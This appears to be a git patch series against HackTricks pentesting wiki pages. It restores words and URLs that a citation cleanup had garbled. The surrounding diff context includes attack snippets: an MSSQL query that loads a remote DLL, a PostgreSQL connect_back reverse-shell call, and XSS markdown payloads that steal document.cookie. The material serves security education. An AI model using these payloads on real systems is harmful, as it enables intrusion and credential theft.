anonymously readable directory reachable. Treat this as a deployment-specific hostname/SNI and certificate-routing check, not a generic LDAP authentication bypass:[[2]](#references) +In the cited environment, resolving an attacker-chosen hostname to the LDAP service changed how the TLS connection was accepted and made an anonymously readable directory reachable. Treat this as a deployment-specific hostname/SNI and certificate-routing check, not a generic LDAP authentication bypass:[[2]](#references) ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index bcc49884338..12c86bc07c3 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -676,7 +676,7 @@ See [MSSQL user-defined function SQLHttp](../../pentesting-web/sql-injection/mss ### RCE with `autoadmin_task_agents` -According to the d research, some vulnerable/privileged configurations can load a remote assembly through `autoadmin_task_agents`. This is version- and component-specific; verify that the internal table and Smart Admin task loader exist before treating it as a general SQL Server primitive.[[18]](#references) +According to the cited research, some vulnerable/privileged configurations can load a remote assembly through `autoadmin_task_agents`. This is version- and component-specific; verify that the internal table and Smart Admin task loader exist before treating it as a general SQL Server primitive.[[18]](#references) ```sql update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; diff --git a/src/network-services-pentesting/pentesting-sap.md b/src/network-services-pentesting/pentesting-sap.md index 3796b7e56eb..b959fb62db4 100644 --- a/src/network-services-pentesting/pentesting-sap.md +++ b/src/network-services-pentesting/pentesting-sap.md @@ -350,7 +350,7 @@ Matching Modules ### Legacy SAP AS Java UME password hashes -With authorized database access to a legacy SAP AS Java system, inspect the User Management Engine (UME) storage for password records. The d research queried `UME_STRINGS` by its `PID` and `VAL` fields and documented values carrying metadata such as `{SHA-512, 10000, 24}`. Treat the schema and hash format as version-specific, and perform any offline password audit only within the approved scope.[[12]](#references) +With authorized database access to a legacy SAP AS Java system, inspect the User Management Engine (UME) storage for password records. The cited research queried `UME_STRINGS` by its `PID` and `VAL` fields and documented values carrying metadata such as `{SHA-512, 10000, 24}`. Treat the schema and hash format as version-specific, and perform any offline password audit only within the approved scope.[[12]](#references) - Test applicable known exploits (check Exploit-DB), including the old but noteworthy “SAP ConfigServlet Remote Code Execution” attack against SAP Portal: diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md index 82f221523bb..21e26f184b4 100644 --- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -3,7 +3,7 @@ {{#include ../../banners/hacktricks-training.md}} ## Overview -This page summarizes practical techniques for exercising and fuzzing the Linux in-kernel SMB server (ksmbd) with syzkaller. It focuses on expanding the protocol attack surface through configuration, building a stateful harness capable of chaining SMB2 operations, generating grammar-valid PDUs, biasing mutations toward weakly covered code paths, and using syzkaller features such as `focus_areas` and `ANYBLOB`. The d research enumerates specific CVEs; this page emphasizes the reusable methodology and concrete snippets that can be adapted to a lab.[[1]](#references)[[2]](#references) +This page summarizes practical techniques for exercising and fuzzing the Linux in-kernel SMB server (ksmbd) with syzkaller. It focuses on expanding the protocol attack surface through configuration, building a stateful harness capable of chaining SMB2 operations, generating grammar-valid PDUs, biasing mutations toward weakly covered code paths, and using syzkaller features such as `focus_areas` and `ANYBLOB`. The cited research enumerates specific CVEs; this page emphasizes the reusable methodology and concrete snippets that can be adapted to a lab.[[1]](#references)[[2]](#references) Target scope: SMB2/SMB3 over TCP. Kerberos and RDMA are intentionally out-of-scope to keep the harness simple. @@ -286,7 +286,7 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b ## Throughput and Parallelism Notes - A single fuzzer process (shared auth/state) tends to be significantly more stable for ksmbd and still surfaces races/UAFs thanks to syzkaller’s internal async executor. -- The d setup reached hundreds of SMB commands per second across multiple VMs and reported function-level coverage around 60% of `fs/smb/server` and 70% of `smb2pdu.c`. Treat these as environment-specific observations, not expected guarantees; function coverage also under-represents state-transition coverage.[[1]](#references) +- The cited setup reached hundreds of SMB commands per second across multiple VMs and reported function-level coverage around 60% of `fs/smb/server` and 70% of `smb2pdu.c`. Treat these as environment-specific observations, not expected guarantees; function coverage also under-represents state-transition coverage.[[1]](#references) --- diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md b/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md index c8ff71a67a1..2fc6d059b99 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md @@ -105,7 +105,7 @@ Add the generated public key into your manifest.json to lock the ID: ## Forging Preferences integrity MACs (core bypass) -Chromium protects preferences with HMAC-SHA256 over `path` plus the serialized JSON value of each node. The HMAC seed is embedded in the browser's `resources.pak` and was still usable through Chromium 139 in the d research.[[1]](#references)[[3]](#references) +Chromium protects preferences with HMAC-SHA256 over `path` plus the serialized JSON value of each node. The HMAC seed is embedded in the browser's `resources.pak` and was still usable through Chromium 139 in the cited research.[[1]](#references)[[3]](#references) Extract the seed with GRIT pak_util[[2]](#references) and locate the seed container (file id 146 in tested builds): diff --git a/src/pentesting-web/h2c-smuggling.md b/src/pentesting-web/h2c-smuggling.md index 1d7623d97fe..c82737d0392 100644 --- a/src/pentesting-web/h2c-smuggling.md +++ b/src/pentesting-web/h2c-smuggling.md @@ -20,7 +20,7 @@ The vulnerability arises when, after upgrading a connection, the reverse proxy c #### Vulnerable Proxies -The vulnerability depends on how the reverse proxy handles `Upgrade` and `Connection`. The d research found the following proxies forwarded the relevant headers by default in the tested configurations:[[1]](#references)[[2]](#references) +The vulnerability depends on how the reverse proxy handles `Upgrade` and `Connection`. The cited research found the following proxies forwarded the relevant headers by default in the tested configurations:[[1]](#references)[[2]](#references) - HAProxy - Traefik @@ -60,7 +60,7 @@ In this scenario, a backend that offers a public WebSocket API alongside an inac 2. The backend responds with a status code `426`, indicating the incorrect protocol version in the `Sec-WebSocket-Version` header. The reverse proxy, overlooking the backend's response status, assumes readiness for WebSocket communication and relays the response to the client. 3. Consequently, the reverse proxy is misled into believing a WebSocket connection has been established between the client and backend, while in reality, the backend had rejected the Upgrade request. Despite this, the proxy maintains an open TCP or TLS connection between the client and backend, allowing the client unrestricted access to the private REST API through this connection. -The d research reproduced this scenario with Varnish and Envoy 1.8.0; later Envoy versions changed the upgrade mechanism. Test other proxies rather than assuming that they share the same behavior.[[3]](#references) +The cited research reproduced this scenario with Varnish and Envoy 1.8.0; later Envoy versions changed the upgrade mechanism. Test other proxies rather than assuming that they share the same behavior.[[3]](#references) ![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png) diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md index f087f6962a8..17fb9ce6088 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md @@ -357,6 +357,6 @@ print(" drop function connect_back(text, integer);") - [2] [Having Fun With PostgreSQL](https://www.exploit-db.com/papers/13084) - [3] [PostgreSQL documentation - C-Language Functions](https://www.postgresql.org/docs/current/static/xfunc-c.html) - [4] [Windows DLL to Shell PostgreSQL Servers](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) -- [5] [SQL Injection Double Uppercut :: How to Achieve Remote Code Execution against PostgreSQL](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html) +- [5] [SQL Injection Double Uppercut :: How to Achieve Remote Code Execution against PostgreSQL](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md index b88fc1a96e5..302de220ccc 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/README.md +++ b/src/pentesting-web/ssti-server-side-template-injection/README.md @@ -877,7 +877,7 @@ Some workflow builders evaluate user-controlled expressions inside Node sandboxe **More information** -- Slim uses the same Ruby SSTI payload collection d for ERB above; adapt the delimiters to the Slim rendering context. +- Slim uses the same Ruby SSTI payload collection cited for ERB above; adapt the delimiters to the Slim rendering context. ### Other Ruby diff --git a/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md b/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md index dceebba63f5..674dc67ba57 100644 --- a/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md +++ b/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md @@ -4,7 +4,7 @@ ## Leak Script Content by Interpreting It as UTF-16 -If a `text/plain` response lacks the `X-Content-Type-Options: nosniff` header, a browser may accept it as a script. In the d challenge, an attacker-controlled prefix supplies a UTF-16 byte-order mark and valid JavaScript bytes. The remaining secret is then decoded as valid identifier characters, allowing the script to expose it through a property of `window`.[[1]](#references) +If a `text/plain` response lacks the `X-Content-Type-Options: nosniff` header, a browser may accept it as a script. In the cited challenge, an attacker-controlled prefix supplies a UTF-16 byte-order mark and valid JavaScript bytes. The remaining secret is then decoded as valid identifier characters, allowing the script to expose it through a property of `window`.[[1]](#references) ## Leak Content by Treating It as an ICO Image diff --git a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md index 539abe8a1ce..fc655b7d530 100644 --- a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md +++ b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md @@ -138,7 +138,7 @@ Fuzzing examples from [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [a](javascript:alert('XSS')) ![a'"`onerror=prompt(document.cookie)](x)\ -[lol]: (javascript:prompt(document.cookie)) +[citelol]: (javascript:prompt(document.cookie)) [notmalicious](javascript:window.onerror=alert;throw%20document.cookie) [test](javascript://%0d%0aprompt(1)) [test](javascript://%0d%0aprompt(1);com) diff --git a/src/windows-hardening/active-directory-methodology/kerberoast.md b/src/windows-hardening/active-directory-methodology/kerberoast.md index 1b1b54fbb40..3cd1809ad7e 100644 --- a/src/windows-hardening/active-directory-methodology/kerberoast.md +++ b/src/windows-hardening/active-directory-methodology/kerberoast.md @@ -27,7 +27,7 @@ Many services still run under user accounts with hand-managed passwords. The KDC | AES + PBKDF2 | PBKDF2-HMAC-SHA1 with 4,096 iterations and a per-principal salt generated from the domain + SPN | etype 17/18 (`$krb5tgs$17$`, `$krb5tgs$18$`) | ~6.8 million guesses/s | Salt blocks rainbow tables but still allows fast cracking of short passwords. | | RC4 + NT hash | Single MD4 of the password (unsalted NT hash); Kerberos only mixes in an 8-byte confounder per ticket | etype 23 (`$krb5tgs$23$`) | ~4.18 **billion** guesses/s | ~1000× faster than AES; attackers force RC4 whenever `msDS-SupportedEncryptionTypes` permits it. | -*Benchmarks from Chick3nman as d in [Matthew Green's Kerberoasting analysis](https://blog.cryptographyengineering.com/2025/09/10/kerberoasting/).[[3]](#references) +*Benchmarks from Chick3nman as cited in [Matthew Green's Kerberoasting analysis](https://blog.cryptographyengineering.com/2025/09/10/kerberoasting/).[[3]](#references) RC4’s confounder only randomizes the keystream; it does not add work per guess. Unless service accounts rely on random secrets (gMSA/dMSA, machine accounts, or vault-managed strings), compromise speed is purely GPU budget. Enforcing AES-only etypes removes the billion-guesses-per-second downgrade, but weak human passwords still fall to PBKDF2.[[3]](#references) diff --git a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md index a1e16221e46..f3eea43e465 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md +++ b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -This historical Hack The Box chain used WiX Toolset v3 to build an MSI that launched a previously planted `.lnk` file. **An MSI is not automatically privileged**: execution occurs in the context selected by Windows Installer policy, the custom-action attributes, and whoever installs it. In the d scenario, the attacker also stole a trusted signing CA and placed the signed MSI in a folder watched by another user.[[1]](#references)[[3]](#references) +This historical Hack The Box chain used WiX Toolset v3 to build an MSI that launched a previously planted `.lnk` file. **An MSI is not automatically privileged**: execution occurs in the context selected by Windows Installer policy, the custom-action attributes, and whoever installs it. In the cited scenario, the attacker also stole a trusted signing CA and placed the signed MSI in a folder watched by another user.[[1]](#references)[[3]](#references) For a comprehensive understanding of wix MSI usage examples, it is advisable to consult [this page](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Here, you can find various examples that demonstrate the usage of wix MSI.[[2]](#references) From ecc950d0362e9899d2894d9c00314d62bebf0ced Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Sat, 15 Aug 2026 11:37:51 +0200 Subject: [PATCH 3/3] Restore URLs corrupted by citation cleanup --- .../postgresql-injection/rce-with-postgresql-extensions.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md index 17fb9ce6088..3a241e0a5b7 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md @@ -309,8 +309,8 @@ select connect_back('192.168.100.54', 1234); _Note that you don't need to append the `.dll` extension as the create function will add it._ -For more information **read the**[ **original publication here**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**[[5]](#references)\ -In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\ +For more information **read the**[ **original publication here**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**[[5]](#references)\ +In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\ In the same page this **exploit to automate** this technique was given:[[5]](#references) ```python